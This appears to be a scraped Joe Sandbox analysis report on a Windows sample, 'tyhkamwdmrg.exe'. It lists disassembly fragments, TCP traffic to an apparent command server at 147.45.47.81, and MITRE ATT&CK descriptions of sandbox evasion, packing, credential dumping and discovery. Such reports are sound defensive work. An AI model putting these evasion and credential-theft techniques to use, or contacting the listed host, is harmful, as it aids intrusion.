Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then mov eax, ebx	0_2_002F9B90
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	0_2_00311C00
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then mov eax, dword ptr [003347C4h]	0_2_00315C50
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+04h]	0_2_00309DE0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+04h]	0_2_00309DE0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+04h]	0_2_00309DE0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx+02h]	0_2_00311E70
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then mov edx, eax	0_2_00329E70
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	0_2_002F1F20
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], A8F779E4h	0_2_00329F20
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edi]	0_2_00329F20
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then mov word ptr [ebx], ax	0_2_002F9FB0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then mov ebx, ecx	0_2_0032DF80
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], B430E561h	0_2_00316220
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then cmp byte ptr [eax+ecx+01h], 00000000h	0_2_0031A3D0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then mov dword ptr [esi], FFFFFFFFh	0_2_002F23C0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	0_2_0031A580
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then mov edx, eax	0_2_00326800
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then push 00000000h	0_2_002FA85B
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	0_2_0031AB40
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+000002A0h]	0_2_00306BF5
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx-000000A7h]	0_2_0030EBD0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	0_2_002F2C70
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then mov edi, esi	0_2_002F6DB0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+000002A0h]	0_2_00306BF5
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+000002A0h]	0_2_00307229
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-4942D9AAh]	0_2_00307229
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then push eax	0_2_0032B200
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then mov byte ptr [eax], cl	0_2_003076F4
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then mov byte ptr [esi], al	0_2_0030B72D
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then cmp byte ptr [eax+00338A71h], 00000000h	0_2_002FF754
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+eax+63B96711h]	0_2_003138D0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then mov ecx, ebx	0_2_00327940
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then mov byte ptr [eax], dl	0_2_0031BA45
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then mov byte ptr [eax], dl	0_2_0031BA8B
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+eax+63B96711h]	0_2_00313BA0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then mov ecx, ebx	0_2_00327C00
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+2Ch]	0_2_002F7D70
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then movzx ecx, word ptr [ebp+edi*4+00h]	0_2_002F7D70
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then mov ecx, ebx	0_2_00327E70
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+6CBF4D15h]	0_2_0030BF13
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 4x nop then mov byte ptr [eax], cl	0_2_00307FD3

Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.81
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report tyhkamwdmrg.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

Windows Analysis Report
tyhkamwdmrg.exe

Function 00311320 Relevance: 29.3, Strings: 23, Instructions: 589
COMMON

Function 002FB9F0 Relevance: 18.1, Strings: 14, Instructions: 637
COMMON

Function 00327010 Relevance: 16.5, APIs: 2, Strings: 7, Instructions: 791
COMMON

Function 00326CD0 Relevance: 15.2, Strings: 12, Instructions: 238
COMMON

Function 00305CD6 Relevance: 12.8, APIs: 1, Strings: 6, Instructions: 571
COMMON

Function 002FEE72 Relevance: 7.8, APIs: 1, Strings: 4, Instructions: 329
COMMON

Function 0031D36D Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 349
COMMON

Function 00313027 Relevance: 5.4, Strings: 4, Instructions: 413
COMMON

Function 004B460C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 57
COMMON

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre